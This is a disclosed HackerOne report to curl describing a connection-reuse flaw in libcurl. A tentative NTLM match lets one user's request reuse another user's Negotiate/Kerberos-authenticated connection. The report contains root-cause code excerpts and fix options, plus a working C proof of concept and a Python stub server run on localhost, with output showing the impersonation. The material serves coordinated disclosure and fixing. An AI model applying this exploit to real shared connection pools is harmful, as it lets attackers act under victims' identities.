CVE-2026-5545: wrong reuse of HTTP Negotiate connection

Disclosed: 2026-04-29 07:15:01 By quaccws To curl
Medium
Vulnerability Details
## Summary: An attacker sharing a libcurl multi-handle connection pool can hijack another user's Negotiate/Kerberos-authenticated connection. When User A authenticates via Negotiate (SPNEGO) and the connection returns to the pool, User B using `CURLAUTH_ANY` with different credentials gets that connection attached to their transfer. On servers with persistent Negotiate auth (Windows IIS with Kerberos — the default), User B's requests execute as User A. The root cause is in `url_match_auth_ntlm()` (`lib/url.c:1092`): a tentative match sets `m->found` for a connection with mismatched credentials, returns FALSE, which exits the matching chain before `url_match_auth_nego()` can reject the connection. `url_match_result()` then attaches the connection based solely on `m->found` being non-NULL, ignoring the FALSE result. ## Affected version - curl 8.20.0-DEV (master, commit 2b3dfb4, 2026-03-31) - Built with `--enable-debug --with-openssl --with-gssapi` - Both `USE_NTLM` and `USE_SPNEGO` compiled in (verified via `curl_setup.h`) - Test uses curl's built-in `CURL_GSS_STUB` (debug-build fake GSSAPI) ## Steps To Reproduce: 1. Start the test server (simulates IIS persistent Negotiate auth): ```bash python3 nego_server.py 8999 & ``` 2. Compile and run the PoC: ```bash gcc -o poc poc.c -I../include -L../lib/.libs -lcurl \ $(pkg-config --libs openssl libnghttp2 zlib libbrotlidec libzstd libpsl \ krb5-gssapi krb5 libidn2) -lldap -llber -Wl,-rpath,../lib/.libs CURL_STUB_GSS_CREDS="KRB5_userA" ./poc ``` **PoC output (abbreviated):** ``` [STEP 1] User A: Negotiate auth to http://127.0.0.1:8999/api/secret [USER_A] Server auth using Negotiate with user 'userA' [USER_A] Authorization: Negotiate S1JCNV91c2VyQTpIVFRQ... [RESULT A] HTTP 200 [RESULT A] Body: {"identity": "KRB5_userA", "mechanism": "negotiate_complete"} [STEP 2] User A's connection is now in the pool [STEP 3] User B: CURLAUTH_ANY with DIFFERENT creds [USER_B] [POC-TRACE] url_match_result: attaching conn #1 (result param=0, IGNORED). negotiate_state=0 [USER_B] Reusing existing http: connection with host 127.0.0.1 [USER_B] Server auth using Negotiate with user 'userB' [USER_B] Authorization: Negotiate S1JCNV91c2VyQTpIVFRQ... ^^^^^^^^^^^^^^^^ Still User A's GSSAPI context! [RESULT B] HTTP 200 [RESULT B] Body: {"identity": "KRB5_userA", ...} ^^^^^^^^^^^ User B authenticated as User A! [!!!] VULNERABLE: User B was authenticated as User A! ``` **Server-side log confirms:** ``` [AUTH] conn=127.0.0.1:38018 identity=KRB5_userA -> GSS_AUTHSUCC [401] conn=127.0.0.1:38020 no auth [AUTH] conn=127.0.0.1:38020 identity=KRB5_userA -> GSS_AUTHSUCC ^^^^^^^^^^ User B's connection authenticated as User A ``` ## Root Cause Analysis Three functions interact to produce the bug: ### 1. `url_match_auth_ntlm()` — Sets tentative match with wrong creds (url.c:1085-1093) ```c if(m->want_ntlm_http) { if(Curl_timestrcmp(m->needle->user, conn->user) || Curl_timestrcmp(m->needle->passwd, conn->passwd)) { // Credentials DON'T MATCH, but... if(conn->http_ntlm_state == NTLMSTATE_NONE) m->found = conn; // <-- SETS TENTATIVE MATCH ANYWAY return FALSE; // <-- Returns FALSE, exits url_match_conn() } } ``` When User B requests with `CURLAUTH_ANY` (which includes NTLM + Negotiate), `want_ntlm_http` is TRUE. User B's credentials don't match User A's on the pooled connection. But `http_ntlm_state == NTLMSTATE_NONE` (because Negotiate was used, not NTLM), so `m->found = conn` is set. The `return FALSE` at line 1093 exits `url_match_conn()` immediately. ### 2. `url_match_auth_nego()` — NEVER CALLED (url.c:1239-1247) ```c if(!url_match_auth_ntlm(conn, m)) // line 1239 — returns FALSE return FALSE; // <-- EXITS HERE // url_match_auth_nego() at line 1244 is NEVER REACHED ``` The Negotiate credential check that would reject this connection is skipped entirely. ### 3. `url_match_result()` — Ignores result, uses m->found (url.c:1263-1271) ```c static bool url_match_result(bool result, void *userdata) { struct url_conn_match *match = userdata; (void)result; // <-- RESULT PARAMETER IS IGNORED if(match->found) { // <-- Tentative match from step 1 Curl_attach_connection(match->data, match->found); return TRUE; // <-- Connection attached! } ``` The `result` parameter (which is FALSE) is explicitly cast to void and ignored. The function only checks `match->found`, which was set by the NTLM tentative match. ## Why Existing CVE Fixes Don't Cover This | CVE | What it fixed | Why this is different | |-----|---------------|----------------------| | CVE-2026-1965 | Bad Negotiate reuse when `want_nego_http` is FALSE | Our path: `want_nego_http` is TRUE but never checked | | CVE-2022-22576 | OAuth2 bearer bypass in connection reuse | Different auth type, different code path | | CVE-2022-27782 | TLS/SSH too eager reuse | Different matching function | | CVE-2023-27535 | FTP too eager connection reuse | Protocol-specific, not HTTP auth | The interaction between the NTLM tentative match and the Negotiate auth check is a novel code path that wasn't addressed by any previous fix. ## Recommended Fix Option A — Don't set tentative match if connection has active Negotiate state: ```c if(conn->http_ntlm_state == NTLMSTATE_NONE && conn->http_negotiate_state == GSS_AUTHNONE) m->found = conn; ``` Option B — Make `url_match_result()` verify the `result` parameter: ```c static bool url_match_result(bool result, void *userdata) { struct url_conn_match *match = userdata; if(result && match->found) { // <-- Check result Curl_attach_connection(match->data, match->found); return TRUE; } ``` Option A is simpler and more targeted. Option B is more defensive but changes behavior for all tentative match paths. ## Supporting Materials - PoC source: `poc/poc.c` — libcurl multi-handle exploit - Test server: `poc/nego_server.py` — simulates IIS persistent Negotiate auth - Instrumented `url.c` with `[POC-TRACE]` logging at match decision points - Full PoC output showing User B authenticated as User A ## References - `lib/url.c:1077-1139` — `url_match_auth_ntlm()` - `lib/url.c:1145-1196` — `url_match_auth_nego()` - `lib/url.c:1201-1261` — `url_match_conn()` (orchestrator) - `lib/url.c:1263-1286` — `url_match_result()` (attacher) - `lib/curl_gssapi.c:88-309` — Stub GSS (used for PoC) ## nego_server.py ```python #!/usr/bin/env python3 """ Test server speaking the curl stub GSS protocol. Stub protocol (lib/curl_gssapi.c): - Client sends base64(creds:target:type:padding) - Server responds with: - base64("C") = Qw== for Continue - base64("D") = RA== for Done (auth complete) For KRB5: client sends type=1 (STUB_GSS_KRB5), server replies D -> GSS_S_COMPLETE This causes curl to set http_negotiate_state = GSS_AUTHSUCC The server tracks authenticated connections by TCP socket and serves subsequent requests using the original identity (persistent Negotiate auth, like Windows IIS with Kerberos). """ import http.server import socketserver import base64 import json import sys conn_auth = {} # conn_key -> identity request_log = [] class NegotiateHandler(http.server.BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" def log_message(self, fmt, *args): pass def _key(self): return f"{self.client_address[0]}:{self.client_address[1]}" def do_GET(self): k = self._key() auth = self.headers.get("Authorization", "") if auth.startswith("Negotiate "): token_b64 = auth.split(" ", 1)[1] try: token = base64.b64decode(token_b64) # Token format: creds:HTTP@host:type:padding parts = token.split(b":") identity = parts[0].decode("utf-8", errors="replace") except Exception as e: identity = f"DECODE_ERR:{e}" conn_auth[k] = identity # Reply with "D" (Done) base64-encoded to complete the handshake # This tells curl's stub GSS that auth is complete -> GSS_S_COMPLETE # -> http_negotiate_state = GSS_AUTHSUCC done_token = base64.b64encode(b"D").decode() self.send_response(200) self.send_header("WWW-Authenticate", f"Negotiate {done_token}") self.send_header("Content-Type", "application/json") body = json.dumps({ "status": "authenticated", "identity": identity, "conn": k, "mechanism": "negotiate_complete" }) self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body.encode()) print(f"[AUTH] conn={k} identity={identity} -> GSS_AUTHSUCC", flush=True) elif k in conn_auth: # PERSISTENT AUTH: connection already authenticated # No Authorization header needed — identity comes from TCP conn identity = conn_auth[k] self.send_response(200) self.send_header("Content-Type", "application/json") body = json.dumps({ "status": "persistent_auth", "identity": identity, "conn": k, "auth_header": auth[:80] if auth else "(none)", "note": "Identity from TCP connection, NOT from current request" }) self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body.encode()) print(f"[PERSISTENT] conn={k} identity={identity} " f"auth_hdr={'YES' if auth else 'NO'}", flush=True) else: # 401 challenge self.send_response(401) self.send_header("WWW-Authenticate", "Negotiate") self.send_header("Content-Type", "text/plain") body = "Authentication required" self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body.encode()) print(f"[401] conn={k} no auth", flush=True) class Server(socketserver.ThreadingTCPServer): allow_reuse_address = True daemon_threads = True if __name__ == "__main__": port = int(sys.argv[1]) if len(sys.argv) > 1 else 8999 s = Server(("127.0.0.1", port), NegotiateHandler) print(f"[*] Negotiate stub server on :{port}", flush=True) s.serve_forever() ``` ## poc.c ```c /* * PoC: NTLM tentative connection match bypasses Negotiate auth state check * * Demonstrates that in a multi-handle shared connection pool, when: * 1. Handle A authenticates via Negotiate (SPNEGO/Kerberos) * 2. Handle B requests the same host with CURLAUTH_ANY + different creds * * The NTLM tentative match in url_match_auth_ntlm() (url.c:1092) sets * m->found on the connection with mismatched credentials, returns FALSE, * which exits url_match_conn() BEFORE url_match_auth_nego() runs. * url_match_result() then attaches the connection based solely on m->found. * * Result: Handle B's request goes out on Handle A's TCP connection. * On a server with persistent Negotiate auth (IIS/Kerberos default), * this means Handle B is authenticated as User A. * * Build: * gcc -o poc poc.c -I../include -L../lib/.libs -lcurl -Wl,-rpath,../lib/.libs * * Run: * python3 server.py 8999 & * ./poc */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <curl/curl.h> #define URL "http://127.0.0.1:8999/api/secret" /* Capture response body */ struct response { char *data; size_t size; }; static size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userp) { struct response *resp = (struct response *)userp; size_t total = size * nmemb; char *tmp = realloc(resp->data, resp->size + total + 1); if(!tmp) return 0; resp->data = tmp; memcpy(&resp->data[resp->size], ptr, total); resp->size += total; resp->data[resp->size] = 0; return total; } /* Debug callback to trace connection IDs and auth headers */ static int debug_cb(CURL *handle, curl_infotype type, char *data, size_t size, void *userp) { const char *tag = (const char *)userp; if(type == CURLINFO_TEXT) { /* Show connection reuse and auth-related debug lines */ if(strstr(data, "Re-using") || strstr(data, "onnection") || strstr(data, "uthoriz") || strstr(data, "uthenticat") || strstr(data, "NTLM") || strstr(data, "egotiat") || strstr(data, "Found bundle") || strstr(data, "multiplex")) printf(" [%s] %.*s", tag, (int)size, data); } else if(type == CURLINFO_HEADER_OUT) { /* Show outgoing Authorization headers */ const char *auth = strstr(data, "Authorization:"); if(auth) { const char *end = strstr(auth, "\r\n"); int len = end ? (int)(end - auth) : 60; printf(" [%s] >>> %.*s\n", tag, len, auth); } /* Show which host we're connecting to */ const char *host = strstr(data, "Host:"); if(host) { const char *end = strstr(host, "\r\n"); int len = end ? (int)(end - host) : 40; printf(" [%s] >>> %.*s\n", tag, len, host); } } return 0; } int main(void) { CURLM *multi; CURL *easy_a, *easy_b; struct response resp_a = {NULL, 0}; struct response resp_b = {NULL, 0}; int still_running = 0; long http_code_a = 0, http_code_b = 0; char *conn_id_a = NULL, *conn_id_b = NULL; printf("=== PoC: NTLM tentative match bypasses Negotiate auth check ===\n\n"); printf("Expected: User B should get 401 or authenticate as User B\n"); printf("Actual: User B reuses User A's Negotiate connection\n\n"); curl_global_init(CURL_GLOBAL_DEFAULT); multi = curl_multi_init(); /* --- Handle A: User A authenticates with Negotiate --- */ easy_a = curl_easy_init(); curl_easy_setopt(easy_a, CURLOPT_URL, URL); curl_easy_setopt(easy_a, CURLOPT_HTTPAUTH, (long)CURLAUTH_NEGOTIATE); curl_easy_setopt(easy_a, CURLOPT_USERPWD, "userA:passwordA"); curl_easy_setopt(easy_a, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(easy_a, CURLOPT_WRITEDATA, &resp_a); curl_easy_setopt(easy_a, CURLOPT_VERBOSE, 1L); curl_easy_setopt(easy_a, CURLOPT_DEBUGFUNCTION, debug_cb); curl_easy_setopt(easy_a, CURLOPT_DEBUGDATA, "USER_A"); printf("[STEP 1] User A: Negotiate auth to %s\n", URL); curl_multi_add_handle(multi, easy_a); /* Run User A's request to completion */ do { CURLMcode mc = curl_multi_perform(multi, &still_running); if(mc == CURLM_OK && still_running) { mc = curl_multi_poll(multi, NULL, 0, 1000, NULL); } if(mc != CURLM_OK) { fprintf(stderr, "multi_perform error: %d\n", mc); break; } } while(still_running); /* Drain messages */ { int msgs_left; struct CURLMsg *msg; while((msg = curl_multi_info_read(multi, &msgs_left))) { if(msg->msg == CURLMSG_DONE) { if(msg->easy_handle == easy_a) { curl_easy_getinfo(easy_a, CURLINFO_RESPONSE_CODE, &http_code_a); printf("\n[RESULT A] HTTP %ld\n", http_code_a); if(resp_a.data) printf("[RESULT A] Body: %s\n", resp_a.data); } } } } /* Remove A but DON'T close it -- the connection stays in the pool */ curl_multi_remove_handle(multi, easy_a); /* Close A's easy handle -- connection returns to pool */ curl_easy_cleanup(easy_a); printf("\n[STEP 2] User A's connection is now in the pool (Negotiate-authenticated)\n"); printf("[STEP 3] User B: CURLAUTH_ANY (NTLM|Negotiate|...) with DIFFERENT creds\n\n"); /* --- Handle B: User B with different creds and CURLAUTH_ANY --- */ easy_b = curl_easy_init(); curl_easy_setopt(easy_b, CURLOPT_URL, URL); /* CURLAUTH_ANY includes both NTLM and Negotiate flags */ curl_easy_setopt(easy_b, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); curl_easy_setopt(easy_b, CURLOPT_USERPWD, "userB:passwordB"); curl_easy_setopt(easy_b, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(easy_b, CURLOPT_WRITEDATA, &resp_b); curl_easy_setopt(easy_b, CURLOPT_VERBOSE, 1L); curl_easy_setopt(easy_b, CURLOPT_DEBUGFUNCTION, debug_cb); curl_easy_setopt(easy_b, CURLOPT_DEBUGDATA, "USER_B"); curl_multi_add_handle(multi, easy_b); /* Run User B's request */ do { CURLMcode mc = curl_multi_perform(multi, &still_running); if(mc == CURLM_OK && still_running) { mc = curl_multi_poll(multi, NULL, 0, 1000, NULL); } if(mc != CURLM_OK) { fprintf(stderr, "multi_perform error: %d\n", mc); break; } } while(still_running); /* Drain messages */ { int msgs_left; struct CURLMsg *msg; while((msg = curl_multi_info_read(multi, &msgs_left))) { if(msg->msg == CURLMSG_DONE) { if(msg->easy_handle == easy_b) { curl_easy_getinfo(easy_b, CURLINFO_RESPONSE_CODE, &http_code_b); printf("\n[RESULT B] HTTP %ld\n", http_code_b); if(resp_b.data) printf("[RESULT B] Body: %s\n", resp_b.data); } } } } printf("\n=== ANALYSIS ===\n"); if(resp_b.data && strstr(resp_b.data, "userA")) { printf("[!!!] VULNERABLE: User B was authenticated as User A!\n"); printf("[!!!] The server saw User A's identity on User B's request.\n"); printf("[!!!] Connection reuse bypassed Negotiate auth state check.\n"); curl_multi_remove_handle(multi, easy_b); curl_easy_cleanup(easy_b); curl_multi_cleanup(multi); free(resp_a.data); free(resp_b.data); curl_global_cleanup(); return 0; /* EXIT 0 = vuln confirmed (secret persists) */ } else if(resp_b.data && strstr(resp_b.data, "userB")) { printf("[OK] NOT VULNERABLE: User B authenticated as User B (correct).\n"); } else if(http_code_b == 401) { printf("[OK] NOT VULNERABLE: User B got 401 (connection not reused).\n"); } else { printf("[??] INCONCLUSIVE: User B HTTP %ld\n", http_code_b); printf("[??] Response: %s\n", resp_b.data ? resp_b.data : "(empty)"); printf("[!!] Check if connection was reused from debug output above.\n"); printf("[!!] Key indicator: 'Re-using existing connection' in USER_B logs\n"); } curl_multi_remove_handle(multi, easy_b); curl_easy_cleanup(easy_b); curl_multi_cleanup(multi); free(resp_a.data); free(resp_b.data); curl_global_cleanup(); return 1; /* EXIT 1 = not vulnerable */ } ``` ## Impact ## Impact An attacker sharing a libcurl multi-handle or connection pool with a victim can: 1. **Impersonate the victim** on any server using persistent Negotiate auth (Windows IIS with Kerberos — the default enterprise configuration) 2. **Access the victim's data** — the server sees the attacker's requests as coming from the victim's Kerberos identity 3. **Perform actions as the victim** — write, delete, or modify data under the victim's authorization **Affected environments:** - Any application using libcurl's multi-handle with shared connection pool - HTTP client libraries wrapping libcurl (Python `pycurl`, PHP `curl_multi_*`, etc.) - Multi-tenant services where different users share a curl connection pool - Web application backends that reuse curl handles across requests **Preconditions:** - Both `USE_NTLM` and `USE_SPNEGO` compiled in (common — most distro builds include both) - Multi-handle or shared connection pool - User B uses `CURLAUTH_ANY` or explicitly enables both NTLM + Negotiate - Server uses persistent Negotiate auth (IIS/Kerberos default)
Actions
View on HackerOne
Report Stats
  • Report ID: 3642555
  • State: Closed
  • Substate: resolved
Share this report